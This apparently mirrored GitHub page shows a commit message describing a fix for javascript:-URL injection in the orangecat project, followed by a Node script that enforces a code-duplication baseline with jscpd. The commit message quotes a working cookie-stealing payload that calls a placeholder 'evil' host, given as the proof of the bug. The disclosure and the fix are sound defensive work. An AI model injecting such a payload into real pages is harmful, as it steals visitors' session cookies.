mirror of
https://github.com/bitbaum/orangecat.git
synced 2026-12-05 00:28:27 +01:00
* feat(domains): link the build service — the rung before hosting
/domains assumes the visitor already has a site ('your site is already
hosted'), but a stranger arriving there has nothing to host. Link the
website-build service so the ladder is complete: build -> hosted free at
*.orangecat.ch -> custom domain.
The link carries no price: the service entity owns its rate, and
restating it here would be the second source of truth this config exists
to prevent.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(security): close the javascript:-URL class, and render the portfolio it blocked
`z.string().url()` delegates to `new URL()`, which accepts `javascript:` and
`data:`. Verified against the real schema, not the primitive: a wishlist item
with `external_url: 'javascript:fetch("//evil?c="+document.cookie)'` parsed
successfully and the value passed through unchanged — and the public wishlist
page rendered exactly that field into an anchor labelled "View item →". Click =
script execution in the visitor's session. `target="_blank"` and
`rel="noopener noreferrer"` do nothing here; they govern the opened context, and
`javascript:` never opens one.
Found while wiring up `portfolio_links` on the service detail page — a field
stored and API-returned but rendered nowhere, so inert until it became an href.
Making it one is the unsafe act, which is what surfaced the live instance.
Three layers, because they fail differently:
- `webUrl()` (validation SSOT) — trims, then http(s) only. Trimming is not
cosmetic: browsers strip leading whitespace/control characters before parsing
a scheme, so " \n javascript:…" is live in an href.
- `safeHref()` (render boundary) — validation only binds rows written after it
ships, and service-role inserts skip schemas entirely.
- `no-restricted-syntax` — bans the unsafe form for good. Mutation-tested red
before being trusted.
The AST rule found 4 call sites that grep and a hand-written selector both
missed: multi-line `z\n.string()\n.url(msg)` in projects.ts, and
`z.string().trim().url().max(2000)` on avatarUrl/bannerUrl/website in
profile-claims — which feed an avatar src, a banner src, and a profile href.
Ending a class needs the linter's count, not the grep that found instance one.
Stored data checked separately, since a schema fix cleans nothing: all 6
services' portfolio_links and all 3 profile websites are already http(s), and no
wishlist item has an external_url at all (HTTP 200 + empty — absent, not
unqueryable). No cleanup migration needed.
Also unbreaks `npm run verify` from a git worktree, where it could not complete:
- check-duplication.mjs resolved jscpd at <repo>/node_modules, but a worktree
has none and inherits the main checkout's. Resolved via Node's own lookup.
- eval-cat-retry.test.ts never set the anon key, silently relying on
eval-cat.mjs reading .env.local from cwd — untracked, main-checkout-only. In
the main checkout it passed by pulling the REAL anon key into a unit test;
in a worktree the script exited before the retry logic ran. Now sets a fake
key, and the 503 backoff actually executes.
verify: green (222 suites, 2208 passed), duplication 0.95% under the 1.0%
baseline. 33 new tests assert the CLOSED side — a test that only checks https://
still passes after someone reverts the helper.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
---------
Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
105 lines
4.3 KiB
JavaScript
105 lines
4.3 KiB
JavaScript
#!/usr/bin/env node
|
|
/* eslint-disable no-console */
|
|
/**
|
|
* check-duplication.mjs — jscpd duplication ratchet.
|
|
*
|
|
* Runs jscpd over src/ and FAILS when the duplicated-lines percentage exceeds
|
|
* the committed baseline. This is a one-way ratchet:
|
|
*
|
|
* - When you REDUCE duplication, lower BASELINE_PERCENT to the new measured
|
|
* value rounded UP to the next 0.1 (e.g. measured 0.87 → baseline 0.9).
|
|
* - NEVER raise the baseline without a written reason in the commit that
|
|
* raises it. New code must not add net duplication; extract shared
|
|
* helpers instead (see lib/api factories, services, hooks).
|
|
*
|
|
* Baseline history:
|
|
* 1.3 (2026-08-02) — post phase-B dedup refactor; measured 1.20% with
|
|
* `jscpd src --min-tokens 70`.
|
|
* 1.1 (2026-08-06) — ratcheted down from 1.3: the reduction had already
|
|
* happened and the baseline never followed it, leaving
|
|
* 0.29% of headroom for new duplication to occupy
|
|
* without tripping the gate. Stopped at 1.1 rather than
|
|
* 1.0 on the belief that CI and local disagreed
|
|
* (1.01% vs 0.99%) — that was wrong. The two numbers
|
|
* came from different commits, not different machines.
|
|
* 1.0 (2026-08-06) — measured 0.99% (2191/222073 lines, 138 clones),
|
|
* identical in CI and locally, so the rule above applies
|
|
* literally: round the measurement up to the next 0.1.
|
|
* The measurement is deterministic, so the remaining
|
|
* ~0.01% (≈22 lines) is genuine headroom, not noise — if
|
|
* this trips, a real block got duplicated, which is
|
|
* precisely the signal the ratchet exists to give.
|
|
*
|
|
* Run: npm run check:duplication (part of `npm run verify`; exit 1 on FAIL)
|
|
*/
|
|
|
|
import { execFileSync } from 'node:child_process';
|
|
import { mkdtempSync, readFileSync, rmSync } from 'node:fs';
|
|
import { join } from 'node:path';
|
|
import { createRequire } from 'node:module';
|
|
import { tmpdir } from 'node:os';
|
|
|
|
/** Max allowed duplicated-lines percentage across src/ (see ratchet rule above). */
|
|
const BASELINE_PERCENT = 1.0;
|
|
|
|
/** Keep detection settings pinned so the number is comparable across runs. */
|
|
const MIN_TOKENS = '70';
|
|
|
|
const ROOT = new URL('..', import.meta.url).pathname;
|
|
const outDir = mkdtempSync(join(tmpdir(), 'jscpd-ratchet-'));
|
|
|
|
// Resolve jscpd the way Node does — walking UP the directory chain — instead of
|
|
// assuming <repo>/node_modules. A git worktree has no node_modules of its own
|
|
// and inherits the main checkout's, so a hardcoded path made `npm run verify`
|
|
// impossible to run from any worktree (2026-08-24).
|
|
const jscpdBin = createRequire(import.meta.url).resolve('jscpd/run-jscpd.js');
|
|
|
|
let report;
|
|
try {
|
|
execFileSync(
|
|
'node',
|
|
[
|
|
jscpdBin,
|
|
'src',
|
|
'--min-tokens',
|
|
MIN_TOKENS,
|
|
// Generated code is not hand-written debt: its repetition is an artifact
|
|
// of the generator, and nobody can "refactor" it. Excluded so the ratchet
|
|
// measures what humans actually own.
|
|
'--ignore',
|
|
'**/*.generated.ts',
|
|
'--reporters',
|
|
'json',
|
|
'--output',
|
|
outDir,
|
|
'--silent',
|
|
],
|
|
{ cwd: ROOT, stdio: ['ignore', 'ignore', 'inherit'] }
|
|
);
|
|
report = JSON.parse(readFileSync(join(outDir, 'jscpd-report.json'), 'utf8'));
|
|
} finally {
|
|
rmSync(outDir, { recursive: true, force: true });
|
|
}
|
|
|
|
const total = report.statistics.total;
|
|
const current = total.percentage;
|
|
const rounded = Math.round(current * 100) / 100;
|
|
|
|
console.log(
|
|
`[check-duplication] duplicated lines: ${rounded}% ` +
|
|
`(${total.duplicatedLines}/${total.lines} lines, ${total.clones} clones) — ` +
|
|
`baseline: ${BASELINE_PERCENT}%`
|
|
);
|
|
|
|
if (current > BASELINE_PERCENT) {
|
|
console.error(
|
|
`[check-duplication] FAIL: duplication ${rounded}% exceeds the ${BASELINE_PERCENT}% baseline.\n` +
|
|
` Extract the duplicated code into a shared module (lib/api factory, service, hook)\n` +
|
|
` instead of raising the baseline. Inspect clones with:\n` +
|
|
` npx jscpd src --min-tokens ${MIN_TOKENS} --reporters console`
|
|
);
|
|
process.exit(1);
|
|
}
|
|
|
|
console.log('[check-duplication] OK — at or below baseline.');
|